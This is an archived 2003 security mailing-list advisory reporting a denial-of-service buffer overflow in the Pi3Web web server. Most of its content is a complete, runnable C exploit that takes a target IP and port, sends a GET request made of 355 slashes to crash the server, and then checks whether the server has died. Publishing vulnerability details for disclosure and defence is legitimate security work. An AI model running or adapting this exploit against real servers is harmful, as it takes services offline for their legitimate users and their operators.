[EXPL] Pi3Web Vulnerable to a DoS (Multiple /)

From: SecuriTeam (support_at_securiteam.com)
Date: 05/12/03

  • Next message: SecuriTeam: "[NEWS] PowerLink WAN Aggregator Multiple Vulnerabilities"
    To: list@securiteam.com
    Date: 12 May 2003 13:21:40 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    In the US?

    Contact Beyond Security at our new California office
    housewarming rates on automated network vulnerability
    scanning. We also welcome ISPs and other resellers!

    Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
    - - - - - - - - -

      Pi3Web Vulnerable to a DoS (Multiple /)
    ------------------------------------------------------------------------

    SUMMARY

     <http://sourceforge.net/projects/pi3web/> Pi3Web is "a multithreaded,
    highly configurable Web server written in C++ and available for Windows
    and POSIX platforms". A buffer overflow vulnerability allows remote
    attackers to cause the server stop serving legitimate users.

    DETAILS

    Exploit:
    /*
     * Rosiello Security
     *
     * http://www.rosiello.org
     * http://dtors.net
     *
     * Unix Version of the Pi3web DoS.
     * ----------------------------------------------------------
     * Info: Pi3Web Server is vulnerable to a denial of Service.
     * ----------------------------------------------------------
     * VULNERABILITY:
     * GET //// <- 354
     *
     * The bug was found by aT4r@3wdesign.es 04/26/2003
     * www.3wdesign.es Security
     * ----------------------------------------------------------
     * Unix Version Credits.
     * AUTHOR : Angelo Rosiello
     * CONTACT: angelo@rosiello.org, angelo@dtors.net
     *
    */

    #include <stdio.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <string.h>
    #include <assert.h>

    void addr_initialize();

    int main(int argc, char **argv)
    {
      int i, port, sd, rc;
      char buffer[355];
      char *get = "GET";
      char packet[360];
      struct sockaddr_in server;

      if(argc > 3 || argc < 2)
      {
        printf("USAGE: %s IP PORT\n", argv[0]);
        printf("e.g. ./pi3web-DoS 127.0.0.1 80\n");
        exit(0);
      }
      if(argc == 2) port = 80;
      else port = atoi(argv[2]);
      
      for(i = 0; i < 355; i++) buffer[i] = '/'; //Build the malformed request
      sprintf(packet, "%s %s\n", get, buffer);
      addr_initialize(&server, port, (long)inet_addr(argv[1]));
      
      sd = socket(AF_INET, SOCK_STREAM, 0);
      if(sd < 0) perror("Socket");
      assert(sd >= 0);
      rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
      if(rc != 0) perror("Connect");
      assert(rc == 0);
      printf("\n\t\t(c) 2003 DTORS Security\n");
      printf("\t\tUnix Version DoS for Pi3web\n");
      printf("\t\tby Angelo Rosiello\n\n");
      write(sd, packet, strlen(packet)); //Caput!
      printf("Malformed packet sent!\n");
      close(sd);

      printf("Checking if the server crashed...\n");
      sleep(3);

      sd = socket(AF_INET, SOCK_STREAM, 0);
            if(sd < 0) perror("Socket");
      assert(sd >= 0);
      rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
      if(rc != 0)
      {
        printf("The server is dead!\n");
        exit(0);
      }
      else if(rc == 0) printf("The server is not vulnerable!\n");
      close(sd);
      exit(0);
    }

    void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
    {
            address -> sin_family = AF_INET;
            address -> sin_port = htons((u_short)port);
            address -> sin_addr.s_addr = IPaddr;
    }

    /*EOF*/

    ADDITIONAL INFORMATION

    The exploit has been provided by <mailto:angelo@rosiello.org> Angelo
    Rosiello, the vulnerability was discovered by <mailto:aT4r@3wdesign.es>
    aT4r.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] PowerLink WAN Aggregator Multiple Vulnerabilities"

    Relevant Pages

    • SecurityFocus Microsoft Newsletter # 150
      ... - automatically set positive security policies for real-time protection, ... MICROSOFT VULNERABILITY SUMMARY ... Meteor FTP Server USER Memory Corruption Vulnerability ... MDaemon SMTP Server Null Password Authentication Vulnerabili... ...
      (Focus-Microsoft)
    • SecurityFocus Microsoft Newsletter #69
      ... LANguard Security Event Log Monitor: ... MICROSOFT VULNERABILITY SUMMARY ... BrowseFTP Client Buffer Overflow Vulnerability ... Michael Lamont Savant Web Server Long Request DoS Vulnerability ...
      (Focus-Microsoft)
    • [NEWS] ePolicy Orchestrator Multiple Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... and use a Thawte Digital Certificate on your MSIIS web server. ... To attack a machine running ePO, an attacker would typically need to be ... MSDE SA account compromise - This vulnerability applies to ePO 2.X and 3.0 ...
      (Securiteam)
    • SecurityFocus Microsoft Newsletter #165
      ... Tenable Security ... distribute, manage, and communicate vulnerability and intrusion detection ... Microsoft Internet Explorer MHTML Forced File Execution Vuln... ...
      (Focus-Microsoft)
    • SecurityFocus Microsoft Newsletter #174
      ... This issue sponsored by: Tenable Network Security ... the worlds only 100% passive vulnerability ... MICROSOFT VULNERABILITY SUMMARY ... Novell Netware Enterprise Web Server Multiple Vulnerabilitie... ...
      (Focus-Microsoft)